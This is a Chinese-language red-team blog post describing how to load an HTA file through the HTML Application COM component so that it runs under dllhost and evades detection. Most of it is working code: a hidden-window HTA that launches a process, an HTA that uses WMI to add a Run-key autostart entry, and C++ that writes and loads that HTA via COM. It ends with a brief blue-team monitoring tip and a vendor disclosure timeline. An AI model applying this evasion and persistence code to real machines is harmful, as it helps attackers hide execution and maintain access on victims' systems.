Daffodil

利用HTML Application COM组件加载HTA 过检测修改注册表

2022-02-17 · 6 min read
redteam windows

起源

想法来自一天分析恶意样本时,发现进程链是Excel->mshta->dllhost。

研究

使用OLEVIEW查看有关com组件

google发现 早有人对此进行了分析https://codewhitesec.blogspot.com/2018/07/lethalhta.html

hta文件可以执行js与vbs脚本
js与vbs又可以调用wmi

但是打开hta会有窗口闪出影响效果
这里有两种方案
1、移动窗口 修改大小
window.moveTo 4000,4000
window.resizeTo 0,0
这种方法窗口会有短暂的停留
2、添加样式
<HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no"SYSMENU="no" CAPTION="no" />
当脚本运行时间过长时 桌面左下角会有窗口

Emeric Nasi 通过设置属性 BORDER="none" 结合前两种给出了最优方案
https://blog.sevagas.com/?Hide-HTA-window-for-RedTeam

<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION icon="#" WINDOWSTATE="normal" SHOWINTASKBAR="no" SYSMENU="no"  CAPTION="no" BORDER="none" SCROLL="no" />
<script type="text/vbscript">
 
Private Sub Hello()
    CreateObject("WScript.Shell").run("calc")
End Sub
 
' Auto launch when VBA enabled
Sub AutoOpen()
    Hello
End Sub
 
window.resizeTo 0,0
AutoOpen
Close
</script>
</head>
<body>
</body>
</html>

利用hta调用wmi修改注册表

<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION icon="#" WINDOWSTATE="normal" SHOWINTASKBAR="no" SYSMENU="no"  CAPTION="no" BORDER="none" SCROLL="no" />
<script type="text/vbscript">
Private Sub Hello()
const HKEY_CURRENT_USER = &H80000001
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
MultValueName = "daffodiltest"
strComputer = "."
iValues = "c:\windows\system32\notepad.exe"
Set oReg=GetObject("winmgmts:{impersonationLevel = impersonate}!\\" & strComputer & "\root\default:StdRegProv")
oReg.CreateKey HKEY_CURRENT_USER,strKeyPath
oReg.SetStringValue HKEY_CURRENT_USER,strKeyPath,MultValueName,iValues
End Sub
Sub AutoOpen()
    Hello
End Sub
window.resizeTo 0,0
AutoOpen
Close
</script>
</head>
<body>
</body>
</html>

CPP调用

	FILE * pFile;
    pFile = fopen("C:\\Users\\Public\\TEST.HTA", "w+");
    if (pFile != NULL)
	 {
	    fprintf(pFile, "<!DOCTYPE html>\n");
		fprintf(pFile, "<html>\n");
		fprintf(pFile, "<head>\n");
		fprintf(pFile, "<HTA:APPLICATION icon=\"#\" WINDOWSTATE=\"normal\" SHOWINTASKBAR=\"no\" SYSMENU=\"no\"  CAPTION=\"no\" BORDER=\"none\" SCROLL=\"no\" />\n");
		fprintf(pFile, "<script type=\"text/vbscript\">\n");
		fprintf(pFile, "Private Sub Hello()\n");
		fprintf(pFile, "const HKEY_CURRENT_USER = &H80000001\n");
		fprintf(pFile, "strKeyPath = \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\"\n");
		fprintf(pFile, "MultValueName = \"daffodiltest\"\n");
		fprintf(pFile, "strComputer = \".\"\n");
		fprintf(pFile, "iValues = \"c:\\windows\\system32\\notepad.exe\"\n");
		fprintf(pFile, "Set oReg=GetObject(\"winmgmts:{impersonationLevel = impersonate}!\\\\\" & strComputer & \"\\root\\default:StdRegProv\")\n");
		fprintf(pFile, "oReg.CreateKey HKEY_CURRENT_USER,strKeyPath\n");
		fprintf(pFile, "oReg.SetStringValue HKEY_CURRENT_USER,strKeyPath,MultValueName,iValues\n");
		fprintf(pFile, "End Sub\n");
		fprintf(pFile, "Sub AutoOpen()\n");
		fprintf(pFile, "    Hello\n");
		fprintf(pFile, "End Sub\n");
		fprintf(pFile, "window.resizeTo 0,0\n");
		fprintf(pFile, "AutoOpen\n");
		fprintf(pFile, "Close\n");
		fprintf(pFile, "</script>\n");
		fprintf(pFile, "</head>\n");
		fprintf(pFile, "<body>\n");
		fprintf(pFile, "</body>\n");
		fprintf(pFile, "</html>\n");
		fclose(pFile);
	 }

	GUID gHtafile = { 0x3050f4d8,0x98b5,0x11cf,{ 0xbb,0x82,0x00,0xaa,0x00,0xbd,0xce,0x0b } };
	HRESULT hr;
	IUnknownPtr pOut;
	IPersistMonikerPtr pPersMon;
	IMonikerPtr pMoniker;

	MULTI_QI* rgQI = new MULTI_QI[1];
	COSERVERINFO stInfo = { 0 };
	WCHAR pwszTarget[MAX_PATH];
	WCHAR pwszHta[MAX_PATH];

	wcscpy_s(pwszTarget, MAX_PATH, L"LOCALHOST");
	wcscpy_s(pwszHta, MAX_PATH, L"C:\\Users\\Public\\TEST.HTA");

	rgQI[0].pIID = &IID_IUnknown;
	rgQI[0].pItf = NULL;
	rgQI[0].hr = 0;

	stInfo.pwszName = pwszTarget;
	stInfo.dwReserved1 = 0;
	stInfo.dwReserved2 = 0;
	stInfo.pAuthInfo = nullptr;

	CoInitialize(0);
	hr = CreateURLMonikerEx(NULL, pwszHta, &pMoniker, 0);
	hr = CoCreateInstanceEx(gHtafile, NULL, CLSCTX_LOCAL_SERVER, NULL, 1, rgQI);

	if (hr != S_OK)
	{
		printf("Creating htafile COM object failed on target");
	}

	pOut = rgQI[0].pItf;
	hr = pOut->QueryInterface(&pPersMon);

	FakeObject* pFake = new FakeObject(pMoniker);
	hr = pPersMon->Load(FALSE, pFake, NULL, STGM_READ);
	pFake->Release();
	pMoniker = NULL;
	pPersMon = NULL;
	pOut = NULL;

成功修改注册表启动项

当然也可以执行其他的wmi命令 例如创建进程、修改环境变量等等

Tips for blue team

监控mshta 与 dllhost

时间线

2021-07-25 20:53:12 上报相关厂商
2022-02-17 11:41:22 验证已修复并披露